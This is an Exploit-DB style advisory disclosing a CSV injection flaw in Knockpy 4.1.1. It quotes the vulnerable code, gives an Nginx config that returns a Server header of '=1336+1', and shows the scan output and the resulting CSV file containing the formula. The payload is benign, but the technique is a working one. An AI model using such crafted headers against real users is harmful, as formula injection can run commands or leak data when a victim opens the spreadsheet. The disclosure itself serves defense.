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vendor:
Knockpy
by:
Dolev Farhi
8.8
CVSS
HIGH
CSV Injection
74
CWE
Product Name: Knockpy
Affected Version From: 4.1.1
Affected Version To: 4.1.1
Patch Exists: YES
Related CWE: N/A
CPE: a:guelfoweb:knockpy:4.1.1
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Debian 9.13
2020

Knockpy 4.1.1 – CSV Injection

Knockpy, as part of its subdomain brute forcing flow of a remote domain, issues a HEAD request to the server to fetch details such as headers, status code, etc. The data then gets reflected when issuing the -c flag to store as a CSV file with the Server HTTP Response Header unfiltered. An attacker can inject malicious Nginx config to return CSV formula headers, which can be used to inject malicious code into the CSV file.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in the CSV file.
Source

Exploit-DB raw data:

# Exploit Title: Knockpy 4.1.1 - CSV Injection
# Author: Dolev Farhi
# Date: 2020-12-29
# Vendor Homepage: https://github.com/guelfoweb/knock
# Version : 4.1.1
# Tested on: Debian 9.13

Knockpy, as part of its subdomain brute forcing flow of a remote domain, issues a HEAD request to the server to fetch details such as headers, status code, etc.
The data then gets reflected when issuing the -c flag to store as a CSV file with the Server HTTP Response Header unfiltered.

Vulnerable code segment(s)

# knockpy.py

# row = ip+'\t'+str(data['status'])+'\t'+'host'+'\t'+str(data['hostname'])+get_tab(data['hostname'])+str(server_type)
# subdomain_csv_list.append(ip+','+str(data['status'])+','+'host'+','+str(data['hostname'])+','+str(server_type))

# modules/save_report.py

# if fields:
#  csv_report += 'ip,status,type,domain_name,server\n'
# for item in report:
#  csv_report += item + '\n'
# report = csv_report


1. Example malicious Nginx config to return CSV formula headers:

http {
...    
  server_tokens off;
  more_set_headers 'Server: =1336+1';
...
}

2. Tester runs Knoockpy
root@host:~/# python knockpy/knockpy.py -c test.local

+ checking for virustotal subdomains: SKIP
	VirusTotal API_KEY not found
+ checking for wildcard: NO
+ checking for zonetransfer: NO
+ resolving target: YES
- scanning for subdomain...

Ip Address	Status	Type	Domain Name			Server
----------	------	----	-----------			------
127.0.0.1       200     host    appserver.test.local		=1336+1


CSV result

root@host:~/# cat test_local.csv
127.0.0.1,200,host,appserver.test.local,=1336+1
127.0.0.1,200,host,www.test.local,=1336+1